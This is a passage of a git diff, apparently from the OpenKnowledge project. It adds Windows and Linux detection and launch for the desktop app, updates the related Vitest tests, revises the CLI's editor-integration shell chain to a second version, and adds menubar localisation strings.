src/components/AppMenubar.tsx#: src/components/settings/SharingSection.tsxmsgid "Undo"msgstr ""@@ -9268,6 +9402,7 @@ msgstr ""msgid "via {viaTags}"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsxmsgid "View"msgstr ""@@ -9472,6 +9607,10 @@ msgstr ""msgid "Will replace existing OpenKnowledge entry"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Window"+msgstr ""+#: src/components/settings/settings-fields.tsmsgid "Word wrap"msgstr ""@@ -9669,7 +9808,15 @@ msgstr ""msgid "Zoom in"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Zoom In"+msgstr ""+#: src/editor/components/Mermaid.tsx#: src/editor/components/Pdf.tsxmsgid "Zoom out"msgstr ""++#: src/components/AppMenubar.tsx+msgid "Zoom Out"+msgstr ""diff --git a/packages/app/tests/stress/fixtures/handoff-mocks.ts b/packages/app/tests/stress/fixtures/handoff-mocks.tsindex fbc196de1..410a77866 100644--- a/packages/app/tests/stress/fixtures/handoff-mocks.ts+++ b/packages/app/tests/stress/fixtures/handoff-mocks.ts@@ -362,6 +362,7 @@ export async function installHandoffMocks(page: Page, cfg: HandoffMockConfig): PsingleFile: false,initialDoc: null,freshlyCreated: false,+ ptyAvailable: true,},onProjectSwitched: () => () => {},onMenuAction: () => () => {},@@ -624,6 +625,10 @@ export async function installHandoffMocks(page: Page, cfg: HandoffMockConfig): P}),rewireClaudeMcp: async () => ({ claude: 'present' as const, mcp: 'wired' as const }),},+ menu: {+ // The renderer menubar only mounts off-darwin; fixture is darwin.+ dispatch: async () => undefined,+ },platform: 'darwin' as const,appVersion: 'test-0.0.0',instanceLabel: null,diff --git a/packages/cli/src/cli.ts b/packages/cli/src/cli.tsindex 82d0be8bf..a31484b00 100644--- a/packages/cli/src/cli.ts+++ b/packages/cli/src/cli.ts@@ -181,7 +181,7 @@ program.action(async () => {const decision = detectDesktop(createRealDetectDeps());if (decision.available) {- launchDesktop({ spawn });+ launchDesktop({ spawn }, decision);return;}diff --git a/packages/cli/src/commands/acp-harness-probe.test.ts b/packages/cli/src/commands/acp-harness-probe.test.tsindex 3ce701015..146a39d8e 100644--- a/packages/cli/src/commands/acp-harness-probe.test.ts+++ b/packages/cli/src/commands/acp-harness-probe.test.ts@@ -6,7 +6,7 @@ import { afterEach, describe, expect, test } from 'vitest';import { probeOwnManagedEditorMcpEntry } from './acp-harness-probe.ts';import {buildManagedServerEntry,- CHAIN_V1,+ CHAIN_V2,entryRunsOwnManagedServer,openCodeEntryRunsOwnManagedServer,} from './editors.ts';@@ -32,7 +32,7 @@ const publishedEntry = () => buildManagedServerEntry({ mode: 'published' });const openCodePublished = () => ({type: 'local',enabled: true,- command: ['/bin/sh', '-l', '-c', CHAIN_V1],+ command: ['/bin/sh', '-l', '-c', CHAIN_V2],});describe('probeOwnManagedEditorMcpEntry', () => {diff --git a/packages/cli/src/commands/desktop-dispatch.test.ts b/packages/cli/src/commands/desktop-dispatch.test.tsindex 550e09eee..4bf104d33 100644--- a/packages/cli/src/commands/desktop-dispatch.test.ts+++ b/packages/cli/src/commands/desktop-dispatch.test.ts@@ -1,5 +1,5 @@-import { describe, expect, test } from 'bun:test';import type { SpawnOptions } from 'node:child_process';+import { describe, expect, test } from 'vitest';import {DESKTOP_BUNDLE_ID,type DetectDeps,@@ -30,14 +30,70 @@ const APP_EXEC = '/Applications/OpenKnowledge.app/Contents/MacOS/OpenKnowledge';const HOME_EXEC = '/Users/andrew/Applications/OpenKnowledge.app/Contents/MacOS/OpenKnowledge';describe('detectDesktop — platform gate (FR10)', () => {- test('linux → darwin-only', () => {+ test('unknown platform → unsupported-platform', () => {+ const result = detectDesktop(+ baseDeps({ platform: 'freebsd' as NodeJS.Platform, statSync: statForFile(APP_EXEC) }),+ );+ expect(result).toEqual({ available: false, reason: 'unsupported-platform' });+ });++ test('linux with no install → no-bundle (falls back to browser mode)', () => {const result = detectDesktop(baseDeps({ platform: 'linux', statSync: statForFile(APP_EXEC) }));- expect(result).toEqual({ available: false, reason: 'darwin-only' });+ expect(result).toEqual({ available: false, reason: 'no-bundle' });});- test('win32 → darwin-only', () => {+ test('win32 with no install → no-bundle (falls back to browser mode)', () => {const result = detectDesktop(baseDeps({ platform: 'win32', statSync: statForFile(APP_EXEC) }));- expect(result).toEqual({ available: false, reason: 'darwin-only' });+ expect(result).toEqual({ available: false, reason: 'no-bundle' });+ });+});++describe('detectDesktop — Windows/Linux install resolution', () => {+ // The one-click per-user NSIS install dir is the sanitized package name,+ // not productName — see WIN_INSTALL_DIR_NAMES in desktop-dispatch.ts.+ const WIN_EXE =+ 'C:\\Users\\u\\AppData\\Local\\Programs\\@inkeepopen-knowledge-desktop\\OpenKnowledge.exe';+ const DEB_EXE = '/opt/OpenKnowledge/openknowledge';++ test('win32: %LOCALAPPDATA% per-user install → available', () => {+ const result = detectDesktop(+ baseDeps({+ platform: 'win32',+ env: { LOCALAPPDATA: 'C:\\Users\\u\\AppData\\Local' },+ statSync: statForFile(WIN_EXE),+ }),+ );+ expect(result).toEqual({ available: true, reason: 'available', bundlePath: WIN_EXE });+ });++ test('win32: bundled-CLI introspection (ok.cmd wrapper) → the running exe', () => {+ const result = detectDesktop(+ baseDeps({+ platform: 'win32',+ env: { ELECTRON_RUN_AS_NODE: '1' },+ execPath: WIN_EXE,+ statSync: () => null,+ }),+ );+ expect(result).toEqual({ available: true, reason: 'available', bundlePath: WIN_EXE });+ });++ test('linux: deb install at /opt → available (with a display)', () => {+ const result = detectDesktop(+ baseDeps({+ platform: 'linux',+ env: { DISPLAY: ':0' },+ statSync: statForFile(DEB_EXE),+ }),+ );+ expect(result).toEqual({ available: true, reason: 'available', bundlePath: DEB_EXE });+ });++ test('linux: no DISPLAY/WAYLAND_DISPLAY → headless even on a TTY', () => {+ const result = detectDesktop(+ baseDeps({ platform: 'linux', env: {}, statSync: statForFile(DEB_EXE) }),+ );+ expect(result).toEqual({ available: false, reason: 'headless', bundlePath: DEB_EXE });});});@@ -149,6 +205,9 @@ describe('detectDesktop — env overrides (FR8)', () => {});describe('detectDesktop — headless gate (FR9 — CI is intentionally NOT a trigger)', () => {+ const WIN_EXE =+ 'C:\\Users\\u\\AppData\\Local\\Programs\\@inkeepopen-knowledge-desktop\\OpenKnowledge.exe';+test('isTTY=false → headless', () => {const result = detectDesktop(baseDeps({ isTTY: false, statSync: statForFile(APP_EXEC) }));expect(result.available).toBe(false);@@ -161,6 +220,57 @@ describe('detectDesktop — headless gate (FR9 — CI is intentionally NOT a triexpect(result.reason).toBe('headless');});+ // win32 carve-out: Electron-as-Node stdio are pipes on Windows, so an+ // interactive console run of ok.cmd probes isTTY=undefined — never true.+ // VM-verified against a live NSIS install.+ test('win32: isTTY=undefined → available (console-wrapper signature)', () => {+ const result = detectDesktop(+ baseDeps({+ platform: 'win32',+ isTTY: undefined,+ env: { LOCALAPPDATA: 'C:\\Users\\u\\AppData\\Local' },+ statSync: statForFile(WIN_EXE),+ }),+ );+ expect(result).toEqual({ available: true, reason: 'available', bundlePath: WIN_EXE });+ });++ test('win32: isTTY=undefined + CI env → headless', () => {+ const result = detectDesktop(+ baseDeps({+ platform: 'win32',+ isTTY: undefined,+ env: { LOCALAPPDATA: 'C:\\Users\\u\\AppData\\Local', CI: 'true' },+ statSync: statForFile(WIN_EXE),+ }),+ );+ expect(result.reason).toBe('headless');+ });++ test('win32: isTTY=undefined + SSH_CONNECTION → headless', () => {+ const result = detectDesktop(+ baseDeps({+ platform: 'win32',+ isTTY: undefined,+ env: { LOCALAPPDATA: 'C:\\Users\\u\\AppData\\Local', SSH_CONNECTION: '10.0.0.1 22' },+ statSync: statForFile(WIN_EXE),+ }),+ );+ expect(result.reason).toBe('headless');+ });++ test('win32: isTTY=false stays headless (explicit non-TTY signal)', () => {+ const result = detectDesktop(+ baseDeps({+ platform: 'win32',+ isTTY: false,+ env: { LOCALAPPDATA: 'C:\\Users\\u\\AppData\\Local' },+ statSync: statForFile(WIN_EXE),+ }),+ );+ expect(result.reason).toBe('headless');+ });+test('SSH_CONNECTION set → headless', () => {const result = detectDesktop(baseDeps({@@ -221,7 +331,9 @@ describe('launchDesktop — spawn shape (FR11)', () => {}) as unknown as Parameters<typeof launchDesktop>[0]['spawn'];let logged = '';- launchDesktop({ spawn: fakeSpawn, log: (m) => (logged = m) });+ // Platform pinned: launchDesktop defaults to process.platform (the CI+ // test host is Linux); the darwin branch is the `open -b` shape.+ launchDesktop({ spawn: fakeSpawn, log: (m) => (logged = m), platform: 'darwin' });expect(captured.command).toBe('open');expect(captured.args).toEqual(['-b', DESKTOP_BUNDLE_ID]);@@ -233,6 +345,36 @@ describe('launchDesktop — spawn shape (FR11)', () => {expect(logged).toContain('ok start');});+ for (const platform of ['win32', 'linux'] as const) {+ test(`${platform}: spawns the detected desktop executable directly, detached + unref`, () => {+ let captured: { command?: string; args?: readonly string[]; opts?: SpawnOptions } = {};+ let unrefCalled = false;+ const fakeSpawn = ((command: string, args: readonly string[], opts: SpawnOptions) => {+ captured = { command, args, opts };+ return {+ unref: () => {+ unrefCalled = true;+ },+ };+ }) as unknown as Parameters<typeof launchDesktop>[0]['spawn'];++ const exe =+ platform === 'win32'+ ? 'C:\\Users\\u\\AppData\\Local\\Programs\\@inkeepopen-knowledge-desktop\\OpenKnowledge.exe'+ : '/opt/OpenKnowledge/openknowledge';+ launchDesktop(+ { spawn: fakeSpawn, log: () => {}, platform },+ { available: true, reason: 'available', bundlePath: exe },+ );++ expect(captured.command).toBe(exe);+ expect(captured.args).toEqual([]);+ expect(captured.opts?.detached).toBe(true);+ expect(captured.opts?.stdio).toBe('ignore');+ expect(unrefCalled).toBe(true);+ });+ }+test('spawn env omits ELECTRON_RUN_AS_NODE so the launched GUI does not boot as a Node host', () => {// The CLI wrapper sets ELECTRON_RUN_AS_NODE=1 to use the bundled Electron// as Node. LaunchServices propagates env into the launched desktop@@ -248,7 +390,7 @@ describe('launchDesktop — spawn shape (FR11)', () => {return { unref: () => {} };}) as unknown as Parameters<typeof launchDesktop>[0]['spawn'];- launchDesktop({ spawn: fakeSpawn, log: () => {} });+ launchDesktop({ spawn: fakeSpawn, log: () => {}, platform: 'darwin' });expect(captured.opts?.env).toBeDefined();expect(captured.opts?.env).not.toHaveProperty('ELECTRON_RUN_AS_NODE');@@ -264,9 +406,9 @@ describe('launchDesktop — spawn shape (FR11)', () => {});describe('UX message helpers — FR5 contextual notFoundMessage(reason)', () => {- test('default (no-bundle) names the install path + omit-mode hint', () => {+ test('default (no-bundle) explains the miss + omit-mode hint', () => {const msg = notFoundMessage();- expect(msg).toContain('/Applications/OpenKnowledge.app');+ expect(msg).toContain('not found');expect(msg).toContain('--mode');});@@ -279,10 +421,12 @@ describe('UX message helpers — FR5 contextual notFoundMessage(reason)', () =>expect(msg).not.toContain('not found');});- test('darwin-only reason names the platform constraint', () => {- const msg = notFoundMessage('darwin-only');- expect(msg).toMatch(/macOS/i);- expect(msg).toContain('--mode=browser');+ test('unsupported-platform (and legacy darwin-only) name the platform constraint', () => {+ for (const reason of ['darwin-only', 'unsupported-platform'] as const) {+ const msg = notFoundMessage(reason);+ expect(msg).toContain('platform');+ expect(msg).toContain('--mode=browser');+ }});test('force-browser reason names the env override', () => {@@ -290,9 +434,10 @@ describe('UX message helpers — FR5 contextual notFoundMessage(reason)', () =>expect(msg).toContain('OK_FORCE_BROWSER');});- test('stat-error reason mentions filesystem error + bundle path', () => {+ test('stat-error reason names the filesystem failure, platform-agnostically', () => {const msg = notFoundMessage('stat-error');- expect(msg).toContain('/Applications/OpenKnowledge.app');+ // No hardcoded install path: the message renders on all three platforms.+ expect(msg).not.toContain('/Applications');expect(msg).toMatch(/filesystem|permission/i);});diff --git a/packages/cli/src/commands/desktop-dispatch.ts b/packages/cli/src/commands/desktop-dispatch.tsindex 883e935aa..4171b07b0 100644--- a/packages/cli/src/commands/desktop-dispatch.ts+++ b/packages/cli/src/commands/desktop-dispatch.ts@@ -1,19 +1,21 @@/*** `ok` (no args) → desktop-app dispatch helpers.*- * Pure-function detection + launch for the macOS desktop Electron app+ * Pure-function detection + launch for the desktop Electron app* (`@inkeep/open-knowledge-desktop`). When the desktop is detected as- * available + interactive, the CLI hands off to it via `open -b+ * available + interactive, the CLI hands off to it — on macOS via `open -b* com.inkeep.open-knowledge` (LaunchServices by bundle ID — fires Apple* Events, respects `requestSingleInstanceLock()`, preserves Gatekeeper- * paths). Otherwise the dispatch returns false with a specific reason- * and the caller falls through to the existing `ok start` flow.+ * paths); on Windows/Linux by spawning the detected desktop executable+ * directly (`requestSingleInstanceLock()` folds a second spawn into the+ * running instance). Otherwise the dispatch returns false with a specific+ * reason and the caller falls through to the existing `ok start` flow.*/import type { spawn as NativeSpawn } from 'node:child_process';import { statSync } from 'node:fs';import { homedir } from 'node:os';-import { join } from 'node:path';+import { join, win32 } from 'node:path';import { spawnDetachedScrubbed } from '../utils/detached-spawn.ts';/**@@ -28,10 +30,13 @@ const DESKTOP_BUNDLE_NAME = 'OpenKnowledge.app';/** Standard install location probed first. */const APPLICATIONS_BUNDLE_PATH = `/Applications/${DESKTOP_BUNDLE_NAME}`;-/** Reasons enum — stable strings; future modes extend, do not rename. */+/** Reasons enum — stable strings; future modes extend, do not rename.+ * `darwin-only` is retired from emission (the desktop ships on win/linux+ * too) but kept in the union — stable-string contract. */type DetectReason =| 'available'| 'darwin-only'+ | 'unsupported-platform'| 'force-browser'| 'no-bundle'| 'headless'@@ -41,9 +46,11 @@ export interface DetectResult {readonly available: boolean;readonly reason: DetectReason;/**- * Resolved `.app` bundle path when detection found one — used in error- * messages. Always set when `available: true`; may be set when- * `available: false` (e.g., headless gate fired but a bundle exists).+ * Resolved desktop install path when detection found one — the `.app`+ * bundle dir on macOS, the desktop executable path on Windows/Linux+ * (`launchDesktop` spawns it directly there). Always set when+ * `available: true`; may be set when `available: false` (e.g., headless+ * gate fired but an install exists).*/readonly bundlePath?: string;}@@ -143,9 +150,13 @@ function resolveBundlePath(deps: DetectDeps): string | null {* treated as "not present" — the dispatch path must never throw.*/function probeBundle(deps: DetectDeps, bundlePath: string): boolean {+ return probeExecutable(deps, join(bundlePath, 'Contents', 'MacOS', 'OpenKnowledge'));+}++/** True iff `path` stats as a real file. Never throws. */+function probeExecutable(deps: DetectDeps, path: string): boolean {try {- const exec = join(bundlePath, 'Contents', 'MacOS', 'OpenKnowledge');- const meta = deps.statSync(exec);+ const meta = deps.statSync(path);if (!meta) return false;return typeof meta.isFile === 'function' ? meta.isFile() : false;} catch {@@ -153,17 +164,69 @@ function probeBundle(deps: DetectDeps, bundlePath: string): boolean {}}+/**+ * Windows probes (NSIS per-user one-click install):+ * (a) Bundled-CLI introspection — the `ok.cmd`/`ok.ps1` wrappers run the+ * desktop exe as a Node host, so `execPath` IS the desktop binary.+ * (b) `%LOCALAPPDATA%\Programs\@inkeepopen-knowledge-desktop\OpenKnowledge.exe`+ * — electron-builder's one-click per-user install dir is ALWAYS the+ * sanitized package name (`getWindowsInstallationDirName` only tries+ * productName for assisted/per-machine installs). VM-verified against+ * a real NSIS install. The productName-shaped dir is probed second as+ * a hedge against that upstream rule changing.+ */+const WIN_INSTALL_DIR_NAMES = ['@inkeepopen-knowledge-desktop', 'OpenKnowledge'] as const;++function resolveWindowsExecutable(deps: DetectDeps): string | null {+ if (deps.env.ELECTRON_RUN_AS_NODE === '1' && /\\OpenKnowledge\.exe$/i.test(deps.execPath)) {+ return deps.execPath;+ }+ const localAppData = deps.env.LOCALAPPDATA;+ if (localAppData) {+ for (const dirName of WIN_INSTALL_DIR_NAMES) {+ const exe = win32.join(localAppData, 'Programs', dirName, 'OpenKnowledge.exe');+ if (probeExecutable(deps, exe)) return exe;+ }+ }+ return null;+}++/**+ * Linux probes:+ * (a) Bundled-CLI introspection — the linux `ok.sh` wrapper runs the+ * desktop binary as a Node host, so `execPath` IS the desktop binary+ * (deb layout AND a live AppImage mount both qualify: spawning the+ * running mount's binary is valid for the mount's lifetime, and the+ * single-instance lock folds it into the running app).+ * (b) `/opt/OpenKnowledge/openknowledge` — the deb install path.+ * No probe exists for a non-running AppImage (no fixed location) — that+ * falls through to `no-bundle` and the browser-mode fallback.+ */+function resolveLinuxExecutable(deps: DetectDeps): string | null {+ if (deps.env.ELECTRON_RUN_AS_NODE === '1' && deps.execPath.endsWith('/openknowledge')) {+ return deps.execPath;+ }+ const debExe = '/opt/OpenKnowledge/openknowledge';+ if (probeExecutable(deps, debExe)) return debExe;+ return null;+}+/*** Detection logic for `ok` (no args) dispatch. Pure function — feed* fakes for unit tests, real `process` values in production.** Ordering:* 1. `OK_FORCE_BROWSER=1` → return false immediately.- * 2. `platform !== 'darwin'` → return false ('darwin-only').- * 3. Resolve bundle path (a/b/c). If no bundle → return false ('no-bundle').+ * 2. Unknown platform → return false ('unsupported-platform').+ * 3. Resolve the per-platform install (see the resolver trio). If none+ * → return false ('no-bundle').* 4. If `OK_FORCE_DESKTOP=1` → return true ('available') — SKIP headless gate.- * 5. Headless gate: `isTTY !== true` OR `SSH_CONNECTION` OR `SSH_TTY`- * → return false ('headless').+ * 5. Headless gate: not tty-interactive OR `SSH_CONNECTION` OR `SSH_TTY`.+ * tty-interactive = `isTTY === true`, plus the win32 carve-out:+ * `isTTY === undefined` with no `CI` env (Electron-as-Node stdio are+ * pipes on Windows, so undefined is the interactive-console signature+ * there — see the inline comment)+ * (plus no `DISPLAY`/`WAYLAND_DISPLAY` on Linux) → return false ('headless').* 6. Else → return true ('available').*/export function detectDesktop(deps: DetectDeps): DetectResult {@@ -172,13 +235,18 @@ export function detectDesktop(deps: DetectDeps): DetectResult {return { available: false, reason: 'force-browser' };}- if (deps.platform !== 'darwin') {- return { available: false, reason: 'darwin-only' };+ if (deps.platform !== 'darwin' && deps.platform !== 'win32' && deps.platform !== 'linux') {+ return { available: false, reason: 'unsupported-platform' };}let bundlePath: string | null;try {- bundlePath = resolveBundlePath(deps);+ bundlePath =+ deps.platform === 'darwin'+ ? resolveBundlePath(deps)+ : deps.platform === 'win32'+ ? resolveWindowsExecutable(deps)+ : resolveLinuxExecutable(deps);} catch {return { available: false, reason: 'stat-error' };}@@ -188,12 +256,26 @@ export function detectDesktop(deps: DetectDeps): DetectResult {}// OK_FORCE_DESKTOP skips the headless gate but still requires the- // bundle to exist (already verified above).+ // install to exist (already verified above).if (deps.env.OK_FORCE_DESKTOP === '1') {return { available: true, reason: 'available', bundlePath };}- if (deps.isTTY !== true || deps.env.SSH_CONNECTION || deps.env.SSH_TTY) {+ // On Windows the wrappers run the CLI as Electron-as-Node, whose stdio+ // arrive as pipes even in a real interactive console — every isTTY is+ // undefined there, never true (VM-verified against a live install). An+ // undefined probe on win32 therefore means "console wrapper", not+ // "headless"; an explicit false still declines, and CI/SSH markers+ // override. OK_FORCE_BROWSER remains the universal escape hatch.+ const ttyInteractive =+ deps.isTTY === true || (deps.platform === 'win32' && deps.isTTY === undefined && !deps.env.CI);+ if (!ttyInteractive || deps.env.SSH_CONNECTION || deps.env.SSH_TTY) {+ return { available: false, reason: 'headless', bundlePath };+ }++ // A Linux session with no display server can't host a GUI window even+ // from an interactive TTY (pure console logins, containers).+ if (deps.platform === 'linux' && !deps.env.DISPLAY && !deps.env.WAYLAND_DISPLAY) {return { available: false, reason: 'headless', bundlePath };}@@ -204,26 +286,50 @@ interface LaunchDeps {readonly spawn: typeof NativeSpawn;/** Optional logger for the launch stderr line. Defaults to console.error. */readonly log?: (message: string) => void;+ /** Platform override for tests. Defaults to `process.platform`. */+ readonly platform?: NodeJS.Platform;}/**- * Spawn the desktop app via LaunchServices by bundle ID.+ * Spawn the desktop app.+ *+ * macOS: `open -b com.inkeep.open-knowledge` routes through+ * LaunchServices, fires Apple Events, respects+ * `requestSingleInstanceLock()`, and keeps Gatekeeper paths intact.*- * `open -b com.inkeep.open-knowledge` routes through LaunchServices,- * fires Apple Events, respects `requestSingleInstanceLock()`, and- * keeps Gatekeeper paths intact. The spawn is detached + stdio:'ignore'- * + `unref()` so the CLI process can exit cleanly while the desktop- * keeps running.+ * Windows/Linux: spawn the executable `detectDesktop` resolved+ * (`detection.bundlePath`) directly — there is no LaunchServices analog,+ * and the single-instance lock folds a second spawn into the running app.+ *+ * All platforms: detached + stdio:'ignore' + `unref()` so the CLI process+ * can exit cleanly while the desktop keeps running.*/-export function launchDesktop(deps: LaunchDeps): void {+export function launchDesktop(deps: LaunchDeps, detection?: DetectResult): void {const log = deps.log ?? ((m) => console.error(m));+ const platform = deps.platform ?? process.platform;// Include escape-hatch hint inline so users surprised by the dispatch// (first time after installing the desktop) see immediately how to// override — Homebrew-style "what just happened, how to undo it".log('Launching OpenKnowledge desktop (use `ok start` for the browser server, or `OK_FORCE_BROWSER=1` to always skip)',);- spawnDetachedScrubbed('open', ['-b', DESKTOP_BUNDLE_ID], { spawn: deps.spawn });+ if (platform === 'darwin') {+ spawnDetachedScrubbed('open', ['-b', DESKTOP_BUNDLE_ID], { spawn: deps.spawn });+ return;+ }+ // Windows/Linux: no LaunchServices analog, so spawn the resolved desktop+ // executable directly. The shared helper scrubs `ELECTRON_RUN_AS_NODE` (the+ // CLI wrappers set it so the bundled Electron acts as a Node host — an+ // Electron GUI target that inherits it boots headless and exits) and hides+ // the Windows console.+ const target = detection?.bundlePath;+ if (!target) {+ // Callers only launch on `available: true`, which always carries+ // bundlePath — reaching here is a caller bug, not a user state.+ log('Desktop launch skipped: no resolved desktop executable (caller bug).');+ return;+ }+ spawnDetachedScrubbed(target, [], { spawn: deps.spawn });}/**@@ -236,17 +342,18 @@ export function launchDesktop(deps: LaunchDeps): void {export function notFoundMessage(reason: DetectReason = 'no-bundle'): string {switch (reason) {case 'no-bundle':- return `Desktop app not found at ${APPLICATIONS_BUNDLE_PATH}. Install via DMG, or omit --mode for browser mode.`;+ return 'Desktop app not found (checked the standard install locations for this OS). Install it, or omit --mode for browser mode.';case 'darwin-only':- return 'Desktop app is macOS-only on this release. Use --mode=browser, or omit --mode for the server fallback.';+ case 'unsupported-platform':+ return 'Desktop app is not available on this platform. Use --mode=browser, or omit --mode for the server fallback.';case 'headless':return 'Desktop launch is gated in headless contexts (CI, SSH, non-TTY stdout). Set OK_FORCE_DESKTOP=1 to override, or use --mode=browser.';case 'force-browser':return 'OK_FORCE_BROWSER=1 is set — desktop dispatch is disabled. Unset it to use --mode=app.';case 'stat-error':- return `Failed to inspect desktop bundle at ${APPLICATIONS_BUNDLE_PATH} (filesystem error). Check permissions or use --mode=browser.`;+ return 'Failed to inspect the desktop install (filesystem error). Check permissions or use --mode=browser.';case 'available':// Defensive — caller should not invoke notFoundMessage when available.- return `Desktop app appears available at ${APPLICATIONS_BUNDLE_PATH} but launch dispatch did not fire (caller bug).`;+ return 'Desktop app appears available but launch dispatch did not fire (caller bug).';}}diff --git a/packages/cli/src/commands/editors.test.ts b/packages/cli/src/commands/editors.test.tsindex e050efc52..ed9c9075a 100644--- a/packages/cli/src/commands/editors.test.ts+++ b/packages/cli/src/commands/editors.test.ts@@ -1,10 +1,10 @@-import { afterEach, beforeEach, describe, expect, it } from 'bun:test';import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';import { tmpdir } from 'node:os';import { join } from 'node:path';+import { afterEach, beforeEach, describe, expect, it } from 'vitest';import {buildManagedServerEntry,- CHAIN_V1,+ CHAIN_V2,CHAIN_VERSION_SENTINEL,CHAIN_WIN_V1,CHAIN_WIN_VERSION_SENTINEL,@@ -374,7 +374,7 @@ describe('EDITOR_TARGETS.openclaw', () => {expect(t.configPath('', '/Users/alice')).toBe('/Users/alice/.openclaw/openclaw.json');expect(t.buildEntry('', { mode: 'published' })).toEqual({command: '/bin/sh',- args: ['-l', '-c', CHAIN_V1],+ args: ['-l', '-c', CHAIN_V2],});});});@@ -393,38 +393,52 @@ describe('EDITOR_TARGETS.antigravity', () => {expect(t.detectPath?.('', '/Users/alice')).toBe('/Users/alice/.gemini');expect(t.buildEntry('', { mode: 'published' })).toEqual({command: '/bin/sh',- args: ['-l', '-c', CHAIN_V1],+ args: ['-l', '-c', CHAIN_V2],});});});-describe('CHAIN_V1', () => {+describe('CHAIN_V2', () => {it('starts with the version sentinel', () => {- expect(CHAIN_V1.startsWith(CHAIN_VERSION_SENTINEL)).toBe(true);+ expect(CHAIN_V2.startsWith(CHAIN_VERSION_SENTINEL)).toBe(true);});it('probes user-local install before the system bundle path', () => {// Matches `findBundledOkPath` in `mcp/bundle-proxy.ts`, which prefers// `~/Applications/...` over `/Applications/...`. Order is load-bearing:// a user with both installs hits the user-local one first.- const userIdx = CHAIN_V1.indexOf(+ const userIdx = CHAIN_V2.indexOf('USER_BUNDLE="$HOME/Applications/OpenKnowledge.app/Contents/Resources/cli/bin/ok.sh"',);- const sysIdx = CHAIN_V1.indexOf(+ const sysIdx = CHAIN_V2.indexOf('BUNDLE="/Applications/OpenKnowledge.app/Contents/Resources/cli/bin/ok.sh"',);expect(userIdx).toBeGreaterThanOrEqual(0);expect(sysIdx).toBeGreaterThan(userIdx);});+ it('probes the Linux deb bundle after both mac bundles and before npx', () => {+ // Order is load-bearing: bundle probes must outrank the registry+ // fallback so a deb-only user (no Node) never dies on the npx branch,+ // and the mac probes stay first to preserve v1 mac semantics exactly.+ const debIdx = CHAIN_V2.indexOf('DEB_BUNDLE="/opt/OpenKnowledge/resources/cli/bin/ok.sh"');+ const sysIdx = CHAIN_V2.indexOf(+ 'BUNDLE="/Applications/OpenKnowledge.app/Contents/Resources/cli/bin/ok.sh"',+ );+ const npxIdx = CHAIN_V2.indexOf('command -v npx');+ expect(debIdx).toBeGreaterThan(sysIdx);+ expect(npxIdx).toBeGreaterThan(debIdx);+ });+it('exec-guards every bundle branch with [ -f ] && [ -x ]', () => {- // Three literal exec sites have the guard pair preceding them — the- // user-local bundle, the system bundle, and the loop-body npx probe.- const guarded = CHAIN_V1.match(/\[\s*-f\s+[^\]]+\]\s*&&\s*\[\s*-x\s+[^\]]+\]\s*&&\s*exec/g);- expect(guarded?.length).toBe(3);+ // Four literal exec sites have the guard pair preceding them — the+ // user-local bundle, the system bundle, the deb bundle, and the+ // loop-body npx probe.+ const guarded = CHAIN_V2.match(/\[\s*-f\s+[^\]]+\]\s*&&\s*\[\s*-x\s+[^\]]+\]\s*&&\s*exec/g);+ expect(guarded?.length).toBe(4);// Plus the `command -v npx` short-circuit, which does its own guard via// `command -v` returning non-zero on miss.- expect(CHAIN_V1).toContain('command -v npx >/dev/null 2>&1 && exec npx');+ expect(CHAIN_V2).toContain('command -v npx >/dev/null 2>&1 && exec npx');});it('covers nvm/fnm/asdf/brew/installer/local/volta probe locations', () => {@@ -437,16 +451,16 @@ describe('CHAIN_V1', () => {'$HOME/.local/bin','$HOME/.volta/bin',]) {- expect(CHAIN_V1).toContain(probe);+ expect(CHAIN_V2).toContain(probe);}});it('emits the documented stderr message and exit 127 on miss', () => {- expect(CHAIN_V1).toContain(+ expect(CHAIN_V2).toContain('"OpenKnowledge: install OK Desktop or Node.js 24+, then restart your editor"',);- expect(CHAIN_V1).toContain('>&2');- expect(CHAIN_V1.trimEnd().endsWith('exit 127')).toBe(true);+ expect(CHAIN_V2).toContain('>&2');+ expect(CHAIN_V2.trimEnd().endsWith('exit 127')).toBe(true);});});@@ -465,14 +479,14 @@ describe('buildManagedServerEntry', () => {it('produces the resilient chain shape by default', () => {expect(buildManagedServerEntry()).toEqual({command: '/bin/sh',- args: ['-l', '-c', CHAIN_V1],+ args: ['-l', '-c', CHAIN_V2],});});it('produces the chain shape when mode is explicitly published', () => {expect(buildManagedServerEntry({ mode: 'published' })).toEqual({command: '/bin/sh',- args: ['-l', '-c', CHAIN_V1],+ args: ['-l', '-c', CHAIN_V2],});});@@ -564,8 +578,8 @@ describe('isEntryUpToDate', () => {{},{ command: '/bin/sh' },{ command: '/bin/sh', args: ['-l', '-c'] },- { command: '/bin/sh', args: ['-c', '-l', CHAIN_V1] }, // wrong arg order- { command: '/bin/zsh', args: ['-l', '-c', CHAIN_V1] }, // wrong shell+ { command: '/bin/sh', args: ['-c', '-l', CHAIN_V2] }, // wrong arg order+ { command: '/bin/zsh', args: ['-l', '-c', CHAIN_V2] }, // wrong shell{ command: '/bin/sh', args: ['-l', '-c', 'echo hi'] }, // wrong body'oops',42,@@ -576,7 +590,7 @@ describe('isEntryUpToDate', () => {it('true for the OpenCode published entry shape (array command, no args key)', () => {expect(- isEntryUpToDate({ type: 'local', enabled: true, command: ['/bin/sh', '-l', '-c', CHAIN_V1] }),+ isEntryUpToDate({ type: 'local', enabled: true, command: ['/bin/sh', '-l', '-c', CHAIN_V2] }),).toBe(true);});@@ -593,10 +607,10 @@ describe('isEntryUpToDate', () => {it('false for stale or malformed OpenCode-shaped entries', () => {for (const bad of [{ type: 'local', command: ['/bin/sh', '-l', '-c', 'echo hi'] }, // wrong body- { type: 'local', command: ['/bin/zsh', '-l', '-c', CHAIN_V1] }, // wrong shell- { type: 'local', command: ['/bin/sh', '-c', '-l', CHAIN_V1] }, // wrong arg order+ { type: 'local', command: ['/bin/zsh', '-l', '-c', CHAIN_V2] }, // wrong shell+ { type: 'local', command: ['/bin/sh', '-c', '-l', CHAIN_V2] }, // wrong arg order{ type: 'local', command: ['/bin/sh', '-l', '-c'] }, // missing body- { type: 'remote', command: ['/bin/sh', '-l', '-c', CHAIN_V1] }, // wrong type+ { type: 'remote', command: ['/bin/sh', '-l', '-c', CHAIN_V2] }, // wrong type]) {expect(isEntryUpToDate(bad)).toBe(false);}@@ -612,7 +626,7 @@ describe('isOwnManagedEntry (MCP pre-approval trust gate)', () => {// This is the security-critical divergence: isEntryUpToDate accepts any body// containing the 